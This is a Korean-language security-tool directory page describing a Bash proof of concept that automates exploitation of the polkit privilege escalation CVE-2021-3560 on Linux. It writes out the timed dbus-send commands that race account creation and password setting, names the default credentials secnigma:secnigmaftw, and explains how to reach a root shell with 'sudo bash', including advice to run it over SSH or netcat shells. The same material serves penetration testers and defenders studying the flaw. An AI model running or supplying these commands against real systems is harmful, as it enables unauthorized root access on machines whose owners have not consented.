Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2021-3560-PolkitPrivilegeEsclation — CVE-2021-3560 polkit 권한 상승을 위한 자동화된 Bash PoC. dbus 타이밍 경쟁 조건을 악용하여 취약한 Linux 배포판에서 sudo 사용자를 생성하고 루트 셸을 획득합니다. | Kitploit
도구/GitHubGitHub/yutasato88/cve-2021-3560-polkitprivilegeesclation
Privilege EscalationVulnerability AnalysisExploitationPost-ExploitationPenetration TestingRed Teaming
GitHubyutasato88/cve-2021-3560-polkitprivilegeesclation

CVE-2021-3560-PolkitPrivilegeEsclation

CVE-2021-3560 polkit 권한 상승을 위한 자동화된 Bash PoC. dbus 타이밍 경쟁 조건을 악용하여 취약한 Linux 배포판에서 sudo 사용자를 생성하고 루트 셸을 획득합니다.

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
저장소 보기
24개월 전아직 검토되지 않음

CVE-2021-3560-Polkit-Privilege-Esclation PoC

Kevin Backhouse의 원본 연구

이것은 Kevin Backhouse의 블로그에서 언급된 악용 단계를 자동화하는 Bash PoC 스크립트입니다. 이 취약점에 대한 그의 게시물을 읽어보세요: https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/

사용법

root@kitploit:~
USAGE:
     ./poc.sh
     -h --help
     -u=Enter custom username to insert (OPTIONAL)
     -p=Enter custom password to insert (OPTIONAL)
     -f=y, To skip vulnerability check and force exploitation. (OPTIONAL)
     -t=Enter custom sleep time, instead of automatic detection (OPTIONAL)
     Format to enter time: '-t=.004' or '-t=0.004' if you want to set sleep time as 0.004ms 
Note:
Equal to symbol (=) after specifying an option is mandatory.
If you donot specify the options, then the script will automatically detect the possible time and
will try to insert a new user using that time.
Default credentials are 'secnigma:secnigmaftw'
If the exploit ran successfully, then you can login using 'su - secnigma'
and you can spawn a bash shell as root using 'sudo bash'

참고 사항:

  • 이 익스플로잇은 accountsservice와 gnome-control-center가 설치된 배포판에서만 동작하며, polkit 버전 0.113(이후 버전) 또는 0-105-26(polkit의 Debian 포크)이 있어야 합니다.
  • 이 익스플로잇은 polkit 버전 0-105-26(polkit의 Debian 포크)이 있는 Ubuntu 20.04와 polkit 버전 0.115가 있는 Centos 8에서 테스트되었습니다. 대상이 취약하다고 확신하지만 익스플로잇의 검사 기능이 실패하면 -f=y 플래그를 사용하여 모든 검사를 우회하고 익스플로잇을 강제로 실행하세요.
  • RHEL 8, Fedora 21, Debian testing("bullseye"), Ubuntu 20.04와 같은 배포판이 취약한 것으로 확인되었습니다.
  • 배포판 호환성 목록은 Kevin의 블로그에서 확인할 수 있습니다.

익스플로잇은 어떻게 동작하나요?

이 취약점을 수동으로 악용하는 방법에 대한 자세한 설명과 PoC는 연구자의 블로그에 상세히 나와 있습니다.

TL;DR은 다음과 같습니다:

  • 이 공격은 정밀한 타이밍이 필요하며, SSH(또는 그래픽 애플리케이션을 열 수 없는 명령줄 세션)를 통해 로그인해야 합니다.
  • 공격자는 dbus 메시지를 보내 polkit을 트리거하지만, polkit이 요청을 처리하는 동안 요청을 갑자기 종료하여 이 취약점을 악용할 수 있습니다. 그런 다음 공격자는 이전 요청의 고유 버스 식별자를 사용하여 두 번째 요청을 보내 UID 0, 즉 root로 요청을 실행할 수 있습니다.
  • 이 취약점은 polkit이 더 이상 존재하지 않는 버스 식별자를 가진 연결의 UID를 UID 0의 요청으로 취급하기 때문에 존재합니다. 즉, 공격 타이밍을 정확히 맞추고 첫 번째 요청을 적절한 순간에 종료할 수 있다면 UID 0, 즉 root의 권한으로 두 번째 요청을 보낼 수 있습니다.
  • 연결을 종료할 타이밍은 dbus 메시지를 보내는 데 필요한 시간 / 2로 계산됩니다. 자세한 내용은 여기에서 확인하세요.

이 스크립트는 실제로 무엇을 하나요?

앞서 말했듯이 이것은 Kevin Backhouse의 PoC를 자동화하는 bash 스크립트일 뿐입니다. 핵심 명령은 동일하며, 타이밍 계산, 취약점 스캔, 사용자 지정 자격 증명 삽입, 예쁜 색상 출력 등의 몇 가지 초기 단계만 자동화했습니다.

이 스크립트가 매개변수 없이 실행된 경우, 이 스크립트의 기본 동작은 다음과 같습니다:

  • 배포판 유형을 확인합니다. [/etc/os-release 파일 사용]
  • accountservice와 gnome-control-center 설치 여부를 확인합니다. [rhel/centos/fedora에서는 rpm -qa를 사용하고 debian/ubuntu 배포판에서는 dpkg -l을 사용합니다].
  • 설치가 확인되면 스크립트는 polkit 버전을 확인합니다. [rhel.centos,fedora의 경우 0.113(이후 버전), Debian/Ubuntu의 경우 0-105-26]
  • polkit 버전이 취약한 것으로 확인되면 스크립트는 익스플로잇을 시작합니다.
  • 먼저, 스크립트는 debus-send를 사용하여 요청을 보내는 데 필요한 시간을 다음 명령으로 측정합니다. bash time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:`echo $username` string:"`echo $username`" int32:1 2>&1 >/dev/null
  • 그런 다음 요청을 종료할 시간($t)은 요청에 필요한 시간을 2로 나누어 계산합니다. () [awk를 사용하여 계산]
도구 다운로드
  • 이 스크립트는 sudo 그룹에 새 사용자를 주입합니다. 익스플로잇이 성공하면 스크립트에 제공된 비밀번호로 su - <username>을 사용하여 계정에 로그인한 다음 sudo bash를 입력하여 root 셸을 획득할 수 있습니다!
  • 이 공격은 정밀한 타이밍에 의존하므로, 이 익스플로잇이 작동하려면 일반적으로 여러 번의 시도가 필요합니다.
  • 경고: 그래픽 로그인 환경에서는 이 스크립트를 실행하지 마세요!
  • 이 스크립트를 그래픽 로그인 환경에서 실행하면 루프가 polkit 인증을 계속 반복해서 표시합니다. 따라서 이 익스플로잇은 SSH/NC 셸에서만 실행하세요.
  • 그런 상황이 발생하면 Esc 키를 눌러 인증 프롬프트를 닫고 Ctrl+C를 눌러 스크립트를 신속하게 종료하세요.
  • $t=time-required-to-request/2
  • 시간($t)이 계산된 후, $username secnigma를 대상에 삽입하는 요청이 20회 반복됩니다. bash dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:`echo $username` string:"`echo $username`" int32:1 & sleep `echo $t`s ; kill $!
  • 사용자 삽입이 성공하면 [id secnigma로 확인], 비밀번호 해시가 생성됩니다 [bash openssl passwd -5 `echo -n $password` 사용]. ($password=secnigmaftw)
  • 그런 다음 비밀번호 해시 삽입 명령이 20회 실행됩니다. bash dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User`echo $u_id` org.freedesktop.Accounts.User.SetPassword string:`echo -n $hash1` string:GoldenEye & sleep `echo $ti`s ; kill $!